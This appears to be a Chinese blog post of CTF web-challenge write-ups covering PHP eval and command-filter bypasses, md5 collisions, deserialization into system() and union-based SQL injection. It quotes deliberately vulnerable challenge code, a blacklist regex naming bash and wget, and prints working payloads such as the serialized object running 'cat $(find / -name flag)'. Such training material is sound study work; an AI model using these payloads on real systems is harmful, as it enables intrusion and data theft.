CTF

CTF2

学习学习

Posted by lll-yz on May 30, 2021

全写在一个里太多,分开放。

[BJDCTF2020]Mark loves cat

1.进入后,发现所有的链接都指向了自己。

2.扫描目录,用 dirsearch 就行。

2ZmUbV.png

得到存在 .git 源码泄露。

3.用 GitHack 把代码下载下来。

https://blog.csdn.net/qq_43622442/article/details/105925473

[GXYCTF2019]禁止套娃

扫描一下,得到文件 index.php.bak 。进行审计:

<?php                                                                                          
include "flag.php";                                                                            
echo "flag在哪里呢?<br>";                                                                     
if(isset($_GET['exp'])){                                                                       
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {            
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {                  
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {           
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

其中:先对常用的伪协议进行了检测,之后又进行正则匹配,

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

这里使用preg_replace替换匹配到的字符为空,[^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。

举个例子:

a(b(c()));可以使用,但是a(‘b’)或a(‘b’, ‘c’)的这种含有参数的都不能使用。

所以我们要使用无参数的函数进行文件读取或者命令执行。

payload:

print_r(scandir(current(localeconv())));
print_r(next(array_reverse(scandir(current(localeconv())))));
show_source(next(array_reverse(scandir(current(localeconv())))));
 or readfile(next(array_reverse(scandir(current(localeconv())))));
 or highlight_file(next(array_reverse(scandir(current(localeconv())))));

newsctf 凛冬将至

EasyWeb

打开后,得到代码,进行审计: 关键代码 👇

<body>
        <h1>EasyWeb</h1>
        <div class="content">
            <?php highlight_file("index.php") ?>
        </div>
        <div class="content">
        <?php
            $six_number = $_POST['webp'];
            $a = $_POST['a'];
            $b = $_POST['b'];
            $c = $_POST['c'];
            if (md5($six_number) == 'e10adc3949ba59abbe56e057f20f883e' && md5($a) === md5($b) && $a !== $b) {
                if($array[++$c]=1){
                    if($array[]=1){
                        echo "nonono";
                    }
                    else{
                        require_once 'flag.php';
                        echo $flag;
                    }
                }
            } 
        ?>
        </div>
    </body> 

前面很简单,说一下这个,我没见过:

if($array[++$c]=1){
    if($array[]=1){
        echo "nonono";
    }
    else{
        require_once 'flag.php';
        echo $flag;
    }

这个绕过是通过溢出,要让 $array[] 到达最大限度,好让第二个 if 时无法赋值,从而绕过到 else

PHP数组Key溢出:

通过PHP创建关联数组的时候,键值Key如果是数值型(可通过is_numeric()判断),则会在int有效范围内被自动转换为int型,如果超过int有效范围就会有问题,这就涉及到数组键值Key作为int型时的有效范围判断。

PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次方,及-2147483648到2147483647,64位系统上为2的63次方,即-9223372036854775808到9223372036854775807。

我们试验一下:

2NtMuV.png

2NtQBT.png

所以最终 payloa d为:

webp=123456&a[]=1&b[]=2&c=9223372036854775806

输入得到的为一个密码。

然后提示图片有问题,将图片下载后,用 binwalk 解析一下:

2NtIUg.png

发现其中还有 zip 文件,将其提取出来。解压,用到之前得到的密码,得到 flag。

#binwalk dd 命令分离文件
dd if=index.png of=a.zip skip=1522188 bs=1
if 指定输入文件,of 指定输出文件,skip 指定从文件开头跳过 x 个块后开始复制,
bs 设置每次读写块的大写为 x 字节。

binwalk -e 文件路径  #得到分离后的文件 直接命令不需要像上面一样自己规定文件位置

其他分解方法:

https://www.cnblogs.com/jiaxinguoguo/p/7351202.html

http://www.bugku.com/forum.php?mod=viewthread&tid=115&extra=page%3D1

[安洵杯 2019]easy_web

进入页面,悲伤气息扑面而来。

知识点:

  • md5 强类型绕过。
  • 任意文件读取。
  • Linux命令执行绕过。

在 URL 处,发现:

http://54fae4b4-a5d2-4e35-a60d-1b772ad8b996.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

img=TXpVek5UTTFNbVUzTURabE5qYz0 ,这个是 base64 加密,进行解码,解码两次后得到:3535352e706e67。然后这个又像是 16进制加密的,解密一下:555.png,一个图片的名字。

然后用上面的解密反推 index.php :转换后得到:

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

访问,得到 base64 编码的字符串,解码:

2Ubg3D.png

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

关键代码:

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }

有一个MD5强绕过:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后还有一个命令执行过滤:

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";

虽然过滤了 ls 但我们还可以使用 dir 来查看目录:

2aGT8s.png

没有发现flag,去访问根目录,这里过滤了空格,我们使用 %20 来绕过:

2aGvaF.png

发现flag,但是 cat 被过滤了,我们可以采用 ca\t%20/flag 来绕过。

2aGHvq.png

ca\t 后面的 \t 会成为 TAB 而绕过。

还可以使用 sort 命令,sort 将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按 ASCII 码值进行比较,最后将它们按升序输出。

[网鼎杯 2020 朱雀组]phpweb

知识点

  • PHP函数的使用。
  • PHP序列化和反序列化

解题

打开网页后,发现网页每隔一段时间会自动刷新一下,且网页上显示一段 warning信息,并提示了 data() 函数。

抓包看一下:

2aNgJg.png

观察发现页面会传递两个参数,fun 和 p。fun 对应的值为 data,p 对应的值为一串时间格式,猜测网页会向后端传递函数名及其对应的参数。

php data(format):格式化日期和时间,并返回格式化的日期字符串。

根据上面的分析,可以自行修改 func 和 p 的值,看是否能获得一些有用的信息。这里可以采用 file_get_contents 来获取 index.php 的源码。: (没有括号哈)

2aN4Lq.png

得到源码:

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

函数说明:

call_user_func():

2aUg76.png

getteyp():顾名思义,就是返回类型。

其他没什么好说的了。

整段代码的运行逻辑为:利用 func 和 p 传入的参数传入 gettime(),在这期间对传入的 func 数据进行了非空判断,大小写的转换,黑名单的校验,而 gettime() 的运行逻辑为:利用 call_user_func 执行传入的函数,并将执行结果返回在网页上显示。

还可以看到 Test 类是一个小小的序列化提示,它并没有被调用。但是这提示了我们可以采用序列化和反序列化来绕过之前的过滤。此时我们可以将 $func=unserialize()&$p=我们要执行的语句的序列化。开始构造:

<?php
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}

class Test {
    var $p = "ls";
    var $func = "system";
    
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a = new Test();
echo serialize($a);
?>

得到:

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

后端接受到这两个参数后,调用 call_user_func 将上面的字符串进行反序列化,还原成上面的代码。而上面的代码核心在于创建一个 Test() 对象,因为在 __destruct() 函数是构造方法,在对象销毁时会执行,根据 Test 类中设置的函数名和参数值再执行一次,就可以获得我们所需要的信息。

然后修改 $p 的值即可逐步得到flag:

find / -name flag*
cat $(find / -name flag)

最终 payload:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:24:"cat $(find / -name flag)";s:4:"func";s:6:"system";}

或使用 readfile直接读取得到路径的flag:

2a64aj.png

[BJDCTF2020]Cookie is so stable

模板注入题

/flag.php 测试:


得到 49 说明为 Twig模板

hint.php得到提示,看到提示注意 cookie处。

抓包看看:

[WUSTCTF2020]朴实无华

进入后,什么都没有,然后有 bot 字眼,应该是提示看 robots.txt,所以去看看,得到提示:\fAke_f1agggg.php,去访问,访问进入后提示不在这里,去网络看看,在响应头处又得到/fl4g.php,访问进入正题。

乱码,在火狐浏览器的话在工具栏中 文字编码处修改为 Unicode即可。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

intval()绕过: intval($num)<2020 && intval($num+1)>2021。知识点 -> 如果 intval()函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,而对于科学计数法的字符串+数字则会将之前的字符串类型转换为数字型。

例如:

<?php
$num = "2e3";
echo intval($num)."\n"; //得到2
echo intval($num + 1);  //得到2001
?>

既然得到了我们想要的结果,开始实践,构造:?num='1e4',???失败了。

猜测可能是传入num值后台会自动转成字符串,由于开启了error_reporting(0),也看不见报错。重新构造:?num=1e4,成功越过第一重障碍。

第二层就是常见的md5绕过,要求$md5 == md5($md5),直接构造:?num=1e4&md5=0e215962017,成功。

第三层,要求输入的参数中不能有空格,且不能有cat否者会替换掉,然后就会将我们的参数命令执行。

先看看有什么,?num=1e4&md5=0e215962017&get_flag=ls

WZHJ7q.png

很明显了,其他的我们都访问过了,就是这个最长的文件为我们要获取的。

取代cat的有很多,如:tac,more,nl,sort......。空格我们也有代替的,可以用$IFS$9, ${IFS},代替。

所以最终payload为 :?num=1e4&md5=0e215962017&get_flag=sort$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[SWPU2019]Web1

无名注入

正常登录注册框,先注册admin发现已经被注册,简单的绕过无效。先注册一个账户,登录进去后有个发布广告,发布个广告名1',内容随便。去查看:

Wm1AXV.png

发现存在注入漏洞。

先fuzz一下,发现 and, or, information_schema, order, updatexml等已被过滤,且大小写无法绕过。 (先开始注字段,因为注释也被过滤,所以最后我们要闭合)

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,18,20,21,22/**/'

得到有22列。回显在2,3处。

因为 information_schema也被过滤了,所以利用其他方法bypass。

  • sys.schema_auto_increment_columns库查询 但这个一般要成绩管理员才可以访问sys。

  • innodb

    WnaTm9.png

注表名:

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

猜表的列数:(这里就要用到无名注入了) 得到users有3列

-1'union/**/select/**/1,(select/**/group_concat(`1`)/**/from(select/**/1,2/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
-1'union/**/select/**/1,(select/**/group_concat(`1`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

注值:

-1'union/**/select/**/1,(select/**/group_concat(`2`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
-1'union/**/select/**/1,(select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[NPUCTF2020]ReadlezPHP

  • php反序列化
  • php变量动态函数

知识点:

assert()函数:

WQyFIS.png

解题:

查看源码后,得到提示:

WQySKI.png

去访问,得到代码:

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

可以看到,在反序列化后会执行echo $b($a);,这里为

<?php
class HelloPhp {
    public $a;
    public $b;
    
    public function __construct() {
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
}  

$c = new HelloPhp;
$d = serialize($c);
echo $d;
?>

….